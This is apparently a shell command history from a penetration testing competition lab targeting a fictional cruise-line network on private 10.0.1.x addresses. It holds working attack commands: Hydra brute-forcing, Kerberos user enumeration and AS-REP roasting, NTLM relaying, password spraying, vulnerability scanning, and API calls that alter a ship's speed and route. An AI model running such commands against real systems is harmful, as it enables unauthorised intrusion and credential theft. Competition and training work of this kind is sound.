_raw: : 1762010399:0;./kerbrute userenum -d allports.local --dc 10.0.1.6 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 100


_raw: : 1762010385:0;tmux source-file ~/.tmux.conf


_raw: : 1762010305:0;gobuster dir -u http://10.0.1.15:8090/health -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762010267:0;gobuster dir -u http://10.0.1.15:8090/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762010183:0;gobuster dir -u http://10.0.1.15:8080/includes/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762010154:0;gobuster dir -u http://10.0.1.15:8080/assets/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762010148:0;gobuster dir -u http://10.0.1.15:8080/assetse/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762010135:0;./kerbrute userenum -d allports.local --dc 10.0.1.6 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 100


_raw: : 1762010122:0;gobuster dir -u http://10.0.1.15:8080/pages/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762010111:0;gobuster dir -u http://10.0.1.15:8080/pages -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762010037:0;gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u "http://10.0.1.11"


_raw:
sqlmap http://10.0.1.11
sqlmap http://10.0.1.11 --crawl=2
sqlmap -h
sqlmap http://10.0.1.11/login --crawl=2
hydra -l admin -P /usr/share/wordlists/metasploit/unix_passwords.txt http://10.0.1.11/login
hydra -l admin -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.0.1.11 http-post-form "/login"
hydra -l admin -P /usr/share/wordlists/metasploit/unix_passwords.txt 10.0.1.11 http-post-form "/login:user=^USER^&password=^PASS^"
mysql 10.0.1.15 -u root -p
mysql 10.0.1.15 -u admin -p
mysql 10.0.1.15 -u root -p
dirb http://10.0.1.15/ /usr/share/wordlists/dirb/common.txt
dirb http://10.0.1.15:8080/ /usr/share/wordlists/dirb/common.txt


_raw: : 1762010020:0;gobuster dir -u http://10.0.1.15:8081/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762009976:0;gobuster dir -u http://10.0.1.15:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw: : 1762009932:0;gobuster dir -u http://10.0.1.15:8080/ -w /usr/share/wordlists/wfuzz/webservices/ws-dirs.txt


_raw: : 1762009924:0;gobuster dir -u http://10.0.1.15:8090/ -w /usr/share/wordlists/wfuzz/webservices/ws-dirs.txt


_raw: : 1762009867:0;gobuster dir -u http://10.0.1.15:8090/ -w /usr/share/wordlists/dirb/common.txt -t 40


_raw: : 1762009826:0;gobuster dir -u http://10.0.1.15:8081/ -w /usr/share/wordlists/dirb/common.txt -t 40\


_raw: : 1762009816:0;smbclient -N -L "//allports.local/"


_raw: : 1762009812:0;smbclient -N -L "//allports.local0/"


_raw: : 1762009755:0;gobuster dir -u http://10.0.1.15:8080/ -w /usr/share/wordlists/dirb/common.txt -t 40\


_raw: : 1762009703:0;dnsrecon -d allports.tours -t std


_raw:
: 1762009661:0;sudo usermod -aG docker $USER\
\


_raw:
: 1762009635:0;sudo apt update\
sudo apt install -y docker.io\
sudo systemctl enable docker --now


_raw:
: 1762009614:0;# Add Docker's official GPG key:\
sudo apt-get update\
sudo apt-get install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
echo \\
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \\
  kali-rolling stable" | \\
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\
sudo apt-get update


_raw: : 1762009583:0;(. /etc/os-release && echo "$VERSION_CODENAME")\


_raw:
: 1762009560:0;# Add Docker's official GPG key:\
sudo apt-get update\
sudo apt-get install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
echo \\
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \\
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \\
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\
sudo apt-get update


_raw: : 1762009512:0;smbclient -U Guest -L "//allports.local/IP" -I 10.0.1.6


_raw:
: 1762009493:0;echo \\
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \\
  $(. /etc/os-release && echo "$DEBIAN_CODENAME") stable" | \\
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null


_raw: : 1762009483:0;sudo rm /etc/apt/sources.list.d/docker.list


_raw:
: 1762009400:0;# Add Docker's official GPG key:\
sudo apt-get update\
sudo apt-get install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/debian/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
echo \\
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/debian \\
  $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \\
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\
sudo apt-get update


_raw:
: 1762009294:0;sudo apt-get update\
sudo apt-get install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\


_raw:
: 1762009248:0;# Add Docker's official GPG key:\
sudo apt-get update\
sudo apt-get install ca-certificates curl\
sudo install -m 0755 -d /etc/apt/keyrings\
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.asc\
sudo chmod a+r /etc/apt/keyrings/docker.asc\
\
# Add the repository to Apt sources:\
echo \\
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.asc] https://download.docker.com/linux/ubuntu \\
  $(. /etc/os-release && echo "${UBUNTU_CODENAME:-$VERSION_CODENAME}") stable" | \\
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\
sudo apt-get update


_raw: : 1762009125:0;gobuster dir -u https://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -r -k


_raw: : 1762009122:0;gobuster dir -u https://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -r --help | grep -i tls


_raw: : 1762009114:0;gobuster dir -u https://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -r


_raw: : 1762009105:0;gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -r


_raw: : 1762009098:0;gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php --help | grep -i redi


_raw: : 1762009094:0;gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php -L


_raw: : 1762009094:0;git clone https://github.com/ScribblerCoder/Jellypwn


_raw: : 1762009088:0;gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php


_raw:
: 1762008874:0;curl -X POST http://10.0.1.15:8080/api/save_route.php -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "route_name": "Miami to Nassau Express",\
  "waypoints": [\
    {\
      "name": "Miami",\
      "lat": 25.7617,\
      "lon": -80.1918\
    },\
    {\
      "name": "Miami",\
      "lat": 25.7617,\
      "lon": -80.1918\
    }\
  ],\
  "total_distance": 167.2,\
  "estimated_time": 8.4,\
  "weather_data": {},\
  "notes": "string",\
  "created_by": "Captain"\
}'


_raw:
: 1762008857:0;curl -X POST http://10.0.1.15:8080/api/action=save_route.php -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "route_name": "Miami to Nassau Express",\
  "waypoints": [\
    {\
      "name": "Miami",\
      "lat": 25.7617,\
      "lon": -80.1918\
    },\
    {\
      "name": "Miami",\
      "lat": 25.7617,\
      "lon": -80.1918\
    }\
  ],\
  "total_distance": 167.2,\
  "estimated_time": 8.4,\
  "weather_data": {},\
  "notes": "string",\
  "created_by": "Captain"\
}'


_raw:
exploitdb -h
exploitdb Microsoft Terminal Services
exploitdb exploits Microsoft Terminal Services
exploitdb exploits -h
ls
cd exploits
ls
cd ..
cd ..
ls
cd home
cd pentester
ls
clear
searchsploit MS12-020
ls
ldapsearch -h
ldapsearch 10.0.1.6 -h
netexec smb 10.0.1.6
netexec smb 10.0.1.6 -h
searchsploit MS12-020
searchsploit Microsofrt Terminal Services
searchsploit Microsoft Terminal Services
searchsploit -x windows/dos/18606.txt


_raw:
nmap -Pn -sC -sV 10.0.1.6
smbclient -L //10.0.1.6
sudo apt install metasploit-framework
smbmap -H 10.0.1.6
rpcclient -U '' -N 10.0.1.6
sudo vim /etc/hosts
nmap -Pn -sC -sV 10.0.1.20
netexec nfs 10.0.1.0/24
netexec -h
netexec ldap 10.0.1.0/24
clear
nmap -Pn -sC -sV 10.0.1.21
exploitdb


_raw:
: 1762008816:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=save_route.php -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "route_name": "Miami to Nassau Express",\
  "waypoints": [\
    {\
      "name": "Miami",\
      "lat": 25.7617,\
      "lon": -80.1918\
    },\
    {\
      "name": "Miami",\
      "lat": 25.7617,\
      "lon": -80.1918\
    }\
  ],\
  "total_distance": 167.2,\
  "estimated_time": 8.4,\
  "weather_data": {},\
  "notes": "string",\
  "created_by": "Captain"\
}'


_raw: : 1762008792:0;gobuster vhost -u http://10.0.1.30:8096 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -k -t 50


_raw: : 1762008777:0;gobuster vhost -u http://10.0.1.30 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -k -t 50


_raw: : 1762008773:0;gobuster vost -u http://10.0.1.30 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -k -t 50


_raw:
: 1762008732:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=update_position -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{}'


_raw:
: 1762008720:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=update -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{}'


_raw:
: 1762008651:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=speed -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "speed_knots": 50\
}'


_raw: : 1762008623:0;gobuster dir -u http://10.0.1.30:8096 -t 50 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt


_raw:
: 1762008614:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=speed -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "speed_knots": 25\
}'


_raw:
: 1762008570:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=speed -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "speed_knots": 50\
}'


_raw:
: 1762008519:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=redirect -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "port_name": "Miami",\
  "port_lat": 123.123,\
  "port_lon": 123.123\
}'


_raw:
: 1762008510:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=redirect -H 'accept: application/json'  -H 'Content-Type: application/json'-d '{"port_name": "Miami",\
  "port_lat": 123.123,\
  "port_lon": 123.123\
}'


_raw: : 1762008488:0;gobuster dir -u http://10.0.1.99/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,zip,html,php


_raw: : 1762008474:0;gobuster dir -u http://10.0.1.99/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt


_raw:
: 1762008473:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=redirect -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "port_name": "Miami",\
  "port_lat": 123.123,\
  "port_lon": 123.123\
}'


_raw:
fastfetch
cat password.txt
fastfetch
exit


_raw: : 1762008339:0;curl -X POST http://10.0.1.15:8080/api/navigation.php?action=redirect -d {"port_name": "Miami", "port_lat": 123.123, "port_lon":123.123}


_raw: : 1762008163:0;hydra -l nobody -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.10


_raw:
cat password.txt ]
cat password.txt
exit


_raw: : 1762008064:0;dirb http://10.0.1.14:5001 /usr/share/wordlists/dirb/common.txt


_raw: : 1762008048:0;dirb /usr/share/wordlists/dirb/common.txt http://10.0.1.14:5001


_raw: : 1762007869:0;hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://10.0.1.99/nossl


_raw: : 1762007799:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.10


_raw: : 1762007677:0;gobuster vhost -u http://10.0.1.99 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -k -t 50


_raw: : 1762007664:0;nmap -p- -sV -sC -iL targets.txt -oA full_scan \


_raw:
: 1762007657:0;curl -X 'POST' \\
  'http://tabular_search:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d "{\
  'table': '$tab',\
  'select': [\
    '*'\
  ],\
  'where': {},\
  'offset': 0\
}"


_raw:
: 1762007656:0;curl -X 'POST' \\
  'http://tabular_search:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d "{\
  'table': '$tab',\
  'select': [\
    '*'\
  ],\
  'where': {},\
  'offset': 0\
}'


_raw:
: 1762007639:0;curl -X 'POST' \\
  'http://tabular_search:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d "{\
  'table': '$tab',\
  'select': [\
    *"\
  ],\
  "where": {},\
  "offset": 0\
}'


_raw:
: 1762007591:0;curl -X 'POST' \\
  'http://tabular_search:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "$tab",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "limit": 20,\
  "offset": 0,\
  "summarize": true\
}' -vv


_raw:
: 1762007588:0;curl -X 'POST' \\
  'http://tabular_search:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "$tab",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "limit": 20,\
  "offset": 0,\
  "summarize": true\
}'


_raw: : 1762007580:0;hydra -l root -P /usr/share/wordlists/rockyou.txt 10.0.1.99 mysql


_raw:
: 1762007573:0;curl -X 'POST' \\
  'http://tabular_search:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "$tab",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "limit": 20,\
  "offset": 0,\
  "summarize": true\
}'


_raw: : 1762007551:0;hydra -l root -P /usr/share/wordlists/rockyou.txt -t 4 ssh://10.0.1.99


_raw: : 1762007543:0;hydra -l root -P /usr/share/wordlists/rockyou.txt


_raw:
git clone https://github.com/nationalcptc-teamtools/Pennsylvania-State-University.git
cd Pennsylvania-State-University
ls
cd 2025
ls
./setupscript_v0.4.sh
chmod +x setupscript_v0.4.sh
./setupscript_v0.4.sh
sudo ./setupscript_v0.4.sh
tilix &


_raw:
mysql -u root -h 10.0.1.99
mysql -u root -h 10.0.1.15
mysql -u root -h 10.0.1.15 --ssl-verify-server-cert=false
mysql -u root -h 10.0.1.99 --ssl-verify-server-cert=false


_raw:
: 1762007495:0;curl -X 'POST' \\
  'http://tabular_search:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "full_voyage_schedule",\
  "select": [\
    "*"\
  ],\
  "where": {},\
  "limit": 20,\
  "offset": 0,\
  "summarize": true\
}'


_raw: : 1762007361:0;nmap -iL targets.txt -oA ~/loot/quick_scan.txt


_raw: : 1762007348:0;grep "Up" live_hosts.txt | cut -d' ' -f2 > targets.txt\


_raw: : 1762007328:0;nmap -iL targets.txt -oA ~/loot/quick_scan.txt


_raw: : 1762007316:0;nmap -iL targets.txt -oA quick_scan


_raw: : 1762007315:0;gobuster dir -u http://10.0.1.99 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-big.txt


_raw: : 1762007217:0;gobuster dir -u http://10.0.1.99 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt


_raw: : 1762007211:0;gobuster dir -u https://10.0.1.99 -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt


_raw:
: 1762007177:0;curl -X 'POST' \\
  'http://tabular_search:8045/tabular_search' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "table": "string",\
  "select": [\
    "string"\
  ],\
  "where": {},\
  "like": {\
    "additionalProp1": "string",\
    "additionalProp2": "string",\
    "additionalProp3": "string"\
  },\
  "limit": 20,\
  "offset": 0,\
  "order_by": [\
    {\
      "col": "string",\
      "desc": false\
    }\
  ],\
  "summarize": true\
}'


_raw: : 1762007103:0;sudo apt-get install asciinema


_raw: : 1762007080:0;sudo apt-get install asciinenma


_raw: : 1762007030:0;wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip && unzip SecList.zip && rm -f SecList.zip\


_raw: : 1762007023:0;chmod +x tool-installation.sh


_raw: : 1762007000:0;git clone https://github.com/nationalcptc-teamtools/Northeastern-University.git


_raw: : 1762006983:0;git clone https://github.com/nationalcptc-teamtools/Northeastern-University.git~


_raw: : 1762006972:0;git clone [200~https://github.com/nationalcptc-teamtools/Northeastern-University.git~


_raw: : 1762006971:0;hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.10


_raw:
git clone https://github.com/nationalcptc-teamtools/Pennsylvania-State-University.git
cd Pennsylvania-State-University
ls
cd 2025
ls
chmod +x setupscript_v0.4.sh
sudo ./setupscript_v0.4.sh
tilix


_raw: : 1762006955:0;hydra -l root -P /usr/share/wordlists/rockyou.txt 22://10.0.1.10


_raw: : 1762006935:0;hydra -l root -P /usr/share/wordlists/rockyou.txt


_raw: : 1762006732:0;for ip in $IPS; do (nmap -sV -sC $ip > $ip.txt)&; done


_raw: : 1762006672:0;for ip in $IPS; do echo $ip; done


_raw: : 1762006628:0;for ip in $IPS; do echo $ip; done


_raw:
ls
sudo apt install bloodhound
sudo apt install neo4j
sudo apt install smbclient
sudo apt install hashcat
nmap -Pn -sC -sV 10.0.1.0/24
#!/bin/zsh\
\
if [ -z "$1" ]; then\
  echo "Usage: fullscan <IP>"\
  exit 1\
fi\
\
IP="$1"\
\
sudo nmap -Pn $IP -v -n -A -p- -T4 -e tun0 --min-rate=10000 -oN fullscan.txt


_raw:
which nmap
sudo apt install cargo
curl https://sh.rustup.rs -sSf | sh
sudo apt purge cargo -y
curl https://sh.rustup.rs -sSf | sh
sudo apt purge rust -y
sudo apt purge rustup -y
curl https://sh.rustup.rs -sSf | sh
rustup default stable
cargo
cargo install rustscan
curl -LsSf https://astral.sh/uv/install.sh | hs
curl -LsSf https://astral.sh/uv/install.sh | sh
uv
uv tool install impacket
uv tool install git+https://github.com/dirkjanm/BloodHound.py.git@bloodhound-ce
rustscan
sudo apt install rustscan
rustscan
ls
vim ~/.zshrc
reload
exit


_raw: : 1762006471:0;mv ~/Downloads/tmux_conf ~/.tmux.conf


_raw: : 1762006191:0;sudo apt  install cyberchef


_raw: : 1762006186:0;sudo snap install cyberchef


_raw: : 1762005829:0;chmod +x setupscript_v0.4.sh


_raw:
dig chat.allports.tours
dig chat.allports.tour
dig @10.0.1.1 chat.allports.tours
dig @10.0.1.1:53 chat.allports.tours
dig @10.0.1.1 chat.allports.tours
dig @10.0.1.1 chat.allports.tour
dig @10.0.1.6 chat.allports.tour
dig @10.0.1.6 chat.allports.tours
nmap 10.0.1.14 -p-


_raw:
cat password.txt
ls
cd shae
cd share
;s
ls
cat 10.0.1.6_nmap.txt
cat pas
cat ../password.txt
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt  --url http://10.0.1.99
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt  --url http://10.0.1.99:8080
sudo nmap 10.0.1.21 -p- -sCVS -v
sudo nano /etc/hosts
ls


_raw:
wfuzz -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt http://10.0.1.15:8080/FUZZ
wfuzz -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt http://10.0.1.15:8080/FUZZ  --hc 404
wfuzz -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt --hc 404 http://10.0.1.15:8080/FUZZ
feroxbuster
feroxbuster -u http://10.0.1.15:8080/  -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt
feroxbuster -u http://10.0.1.15:8080/  -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-files.txt
feroxbuster -u http://10.0.1.15:8080/  -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-files.txt -x php
feroxbuster -u http://10.0.1.15:8080/  -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories -x php
feroxbuster -u http://10.0.1.15:8080/  -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt -x php
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt  --url http://10.0.1.11:8045
curl -X 'GET' \   'http://10.0.1.15:8080/api/navigation.php?action=status' \   -H 'accept: application/json'
curl -X 'GET' \   'http://10.0.1.15:8080/api/navigation.php?action=status' \   -H 'accept: application/json' | jq .
curl -X 'GET' \   'http://10.0.1.15:8080/api/navigation.php?action=status' \   -H 'accept: application/json' | jq
cat password.txt
sudo apt install jq
curl -X 'GET' 'http://10.0.1.15:8080/api/navigation.php?action=status'   -H 'accept: application/json' | jq
curl -X 'POST' \\
  'http://10.:8090/calculate-route' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "origin": {\
    "lat": 25.7617,\
    "lon": -80.1918\
  },\
  "destination": {\
    "lat": 25.078,\
    "lon": -77.3383\
  }\
}'
curl -X 'POST' \\
  'http://10.0.1.15:8090/calculate-route' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "origin": {\
    "lat": 25.7617,\
    "lon": -80.1918\
  },\
  "destination": {\
    "lat": 25.078,\
    "lon": -77.3383\
  }\
}'
curl -X 'POST' \\
  'http://10.0.1.15:8090/calculate-route' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "origin": {\
    "lat": 43.7617,\
    "lon": -40.1918\
  },\
  "destination": {\
    "lat": 25.078,\
    "lon": -77.3383\
  }\
}'
curl -X 'POST' \\
  'http://10.0.1.15:8090/route-with-waypoints' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "waypoints": [\
    {\
      "name": "Miami",\
      "lat": 25.7617,\
      "lon": -80.1918\
    },\
    {\
      "name": "Nassau",\
      "lat": 25.078,\
      "lon": -77.3383\
    },\
    {\
      "name": "Freeport",\
      "lat": 26.5333,\
      "lon": -78.6958\
    },\
    {\
      "name": "Key West",\
      "lat": 24.5551,\
      "lon": -81.7816\
    }\
  ]\
}'
curl -X 'POST' \\
  'http://10.0.1.15:8090/route-with-waypoints' \\
  -H 'accept: application/json' \\
  -H 'Content-Type: application/json' \\
  -d '{\
  "waypoints": [\
    {\
      "name": "Miami",\
      "lat": 25.7617,\
      "lon": -80.1918\
    },\
    {\
      "name": "Nassau",\
      "lat": 25.078,\
      "lon": -77.3383\
    },\
    {\
      "name": "Freeport",\
      "lat": 26.5333,\
      "lon": -78.6958\
    },\
    {\
      "name": "Key West",\
      "lat": 24.5551,\
      "lon": -81.7816\
    }\
  ]\
}' | jq
cd share
ls
cat hosts.txt
sudo nmap 10.0.1.99 -p- -sCVS -v
sudo nmap 10.0.1.20 -p- -sCVS -v


_raw:
ls
cat password.txt
sudo nmap -sV -SC -vv 10.0.1.0/24
sudo su
sudo nmap -Pn -sC -p80,443 10.0.1.0/24
nmap -p 139,445 --script=smb-enum-shares,smb-enum-users,smb-os-discovery,smb-security-mode,smb2-capabilities,smb2-security-mode 10.0.1.6\
nmap --script smb-vuln* -p 445 10.0.1.6
nmap -p 445 --script=smb-null-session 10.0.1.6
nmap -p 22 --script=ssh-hostkey,ssh-auth-methods,sshv1,ssh2-enum-algos,ssh-brute 10.0.1.15
nmap -p 22 --script=ssh-hostkey,ssh-auth-methods,sshv1,ssh2-enum-algos,ssh-brute 10.0.1.15 10.0.1.11 10.0.1.10 10.0.1.14
nmap -p 389,636 -sV -sC 10.0.1.6
enum4linux -a 10.0.1.6
# Anonymous Bind - List all objects\
ldapsearch -x -h 10.0.1.6  -p 389 -b "<base_dn>" "(objectClass=*)"\
\
# Authenticated Bind - List all objects\
ldapsearch -x -h 10.0.1.6  -p 389 -D "<bind_dn>" -w "<password>" -b "<base_dn>" "(objectClass=*)"
ldapsearch -x -h 10.0.1.6 -p 389 -b "<base_dn>" "(objectClass=*)"\
smbclient -N -L //10.0.1.6
smbclient -N -L //10.0.1.14
smbclient -N -L //10.0.1.11
smbclient -N -L //10.0.1.10
smbclient -N -L //10.0.1.15
smbclient -N -L //10.0.1.20
smbclient -N -L //10.0.1.6
smbclient -N -L //10.0.1.21
smbmap -H 10.0.1.6
rpcclient -U '%' 10.0.1.6
enum4linux -a 10.0.1.11
enum4linux -a 10.0.1.10
autorecon
autorecon 10.0.1.6
for i in $(seq 500 1100);do rpcclient -N -U "" 10.0.1.6 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
sudo nmap -sS -Pn -n --disable-arp-ping --reason -D RND:5 10.0.1.0/24 , --packet-trace
sudo nmap 10.0.1.0/24 -sn -oA host -PE --packet-trace --disable-arp-ping
sudo nmap --script vuln -Pn -p- -vv --reason 10.0.1.0.24
sudo nmap --script vuln -Pn -p- -vv --reason 10.0.1.0/24
ls
locate smart_users.txt\
pwd
cat password.txt
ls
echo "10.0.1.14 allports.tours www.allports.tours" | sudo tee -a /etc/hosts
cat password.txt
echo "10.0.1.14 allports.tours www.allports.tours" | sudo tee -a /etc/hosts
impacket-ntlmrelayx -t smb://10.0.1.20 -t smb://10.0.1.21 -smb2support
nano /etc/hosts
curl http://10.0.1.11/api/search/test -o librechat_leak.json
ls
cat librechat_leak.json
# -w: wordlist\
# -u: URL with FUZZ keyword\
# -fs: filter out common "Not Found" sizes (adjust as needed)\
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.11/api/FUZZ -fs 421
ls
http://10.0.1.11/shell.txt
clear


_raw: impacket-GetNPUsers allports.local/ -usersfile users.txt -no-pass -format hashcat -outputfile hashes.asrep -dc-ip 10.0.1.6


_raw: impacket-GetNPUsers allports.local/ -usersfile users.txt -no-pass -format hashcat -outputfile hashes.asrep


_raw:
sudo nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oN tcp-full.nmap -sV IP
ls
cat password.txt
sudo nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oN tcp-full.nmap -sV IP
sudo nmap -Pn -sS --stats-every 3m --max-retries 1 --max-scan-delay 20 --defeat-rst-ratelimit -T4 -p1-65535 -oN tcp-full.nmap -sV 10.0.1.0/24
cat password.txt
smbclient -L //10.0.1.6 -N\
enum4linux-ng -A 10.0.1.6\
kerbrute userenum --dc 10.0.1.6 -d allports.local usernames.txt\
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64\
chmod +x kerbrute_linux_amd64\
sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute\
kerbrute userenum --dc 10.0.1.6 -d allports.local usernames.txt\
ls -l usernames.txt\
kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt\
ls
kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt\
crackmapexec smb 10.0.1.6 -u usernames.txt -p 'mypassword' --no-bruteforce\
crackmapexec smb 10.0.1.6 -u usernames.txt -p 'Password123!' --no-bruteforce\
crackmapexec smb 10.0.1.6 -u usernames.txt -p 'Allports2025!' --no-bruteforce\
sudo apt update\
sudo apt install docker.io docker-compose\
